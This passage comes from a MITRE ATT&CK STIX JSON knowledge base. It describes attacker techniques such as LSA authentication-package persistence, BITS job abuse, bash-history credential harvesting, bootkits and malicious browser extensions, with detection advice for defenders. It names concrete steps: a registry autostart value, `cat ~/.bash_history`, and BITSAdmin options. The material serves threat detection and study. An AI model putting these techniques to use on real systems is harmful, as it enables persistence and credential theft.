            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Window Discovery",
            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.",
            "external_references": [
                {
                    "external_id": "T1010",
                    "url": "https://attack.mitre.org/techniques/T1010",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_data_sources": [
                "API monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:24.512Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Audio Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
            "external_references": [
                {
                    "external_id": "T1123",
                    "url": "https://attack.mitre.org/techniques/T1123",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "Process monitoring",
                "File monitoring"
            ],
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:34.528Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Authentication Package",
            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.",
            "external_references": [
                {
                    "external_id": "T1131",
                    "url": "https://attack.mitre.org/techniques/T1131",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "source_name": "MSDN Authentication Packages"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Windows Registry",
                "Loaded DLLs"
            ],
            "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:43.135Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Automated Collection",
            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.",
            "external_references": [
                {
                    "external_id": "T1119",
                    "url": "https://attack.mitre.org/techniques/T1119",
                    "source_name": "mitre-attack"
                }
            ],
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            ],
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            "x_mitre_data_sources": [
                "File monitoring",
                "Data loss prevention",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Permissions to access directories and files that store information of interest."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:27.985Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Automated Exfiltration",
            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
            "external_references": [
                {
                    "external_id": "T1020",
                    "url": "https://attack.mitre.org/techniques/T1020",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process use of network"
            ],
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:29.458Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "BITS Jobs",
            "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086)  (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)",
            "external_references": [
                {
                    "external_id": "T1197",
                    "url": "https://attack.mitre.org/techniques/T1197",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/library/dd939934.aspx",
                    "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
                    "source_name": "Microsoft Issues with BITS July 2011"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "source_name": "Microsoft BITS"
                },
                {
                    "url": "https://www.secureworks.com/blog/malware-lingers-with-bits",
                    "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
                    "source_name": "CTU BITS Malware June 2016"
                },
                {
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "source_name": "Mondok Windows PiggyBack BITS May 2007"
                },
                {
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "source_name": "Symantec BITS May 2007"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Red Canary"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Packet capture",
                "Windows event logs"
            ],
            "x_mitre_defense_bypassed": [
                "Firewall",
                "Host forensic analysis"
            ],
            "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)  (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bash History",
            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
            "external_references": [
                {
                    "external_id": "T1139",
                    "url": "https://attack.mitre.org/techniques/T1139",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Binary Padding",
            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.",
            "external_references": [
                {
                    "external_id": "T1009",
                    "url": "https://attack.mitre.org/techniques/T1009",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-572",
                    "url": "https://capec.mitre.org/data/definitions/572.html",
                    "source_name": "capec"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Binary file metadata",
                "File monitoring",
                "Malware reverse engineering"
            ],
            "x_mitre_defense_bypassed": [
                "Signature-based detection",
                "Anti-virus"
            ],
            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:22.096Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bootkit",
            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
            "external_references": [
                {
                    "external_id": "T1067",
                    "url": "https://attack.mitre.org/techniques/T1067",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "source_name": "Lau 2011"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "source_name": "MTrends 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "MBR",
                "VBR"
            ],
            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:54.661Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Browser Bookmark Discovery",
            "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",
            "external_references": [
                {
                    "external_id": "T1217",
                    "url": "https://attack.mitre.org/techniques/T1217",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Mike Kemmerer"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "File monitoring",
                "Process command-line parameters",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Browser Extensions",
            "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).",
            "external_references": [
                {
                    "external_id": "T1176",
                    "url": "https://attack.mitre.org/techniques/T1176",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.chrome.com/extensions",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "source_name": "Chrome Extensions Definition"
                },
                {
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "source_name": "Malicious Chrome Extension Numbers"
                },
                {
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "source_name": "Chrome Extension Crypto Miner"
                },
                {
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "source_name": "Banker Google Chrome Extension Steals Creds"
                },
                {
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "source_name": "Catch All Chrome Extension"
                },
                {
                    "url": "https://kjaer.io/extension-malware/",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.",
                    "source_name": "Chrome Extension C2 Malware"
                },
                {
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "source_name": "Stantinko Botnet"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Browser_extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "source_name": "Wikipedia Browser Extension"
                },
                {
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "source_name": "ICEBRG Chrome Extensions"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Packet capture",
                "System calls",
                "Process use of network",
                "Process monitoring",
                "Browser extensions"
            ],
            "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
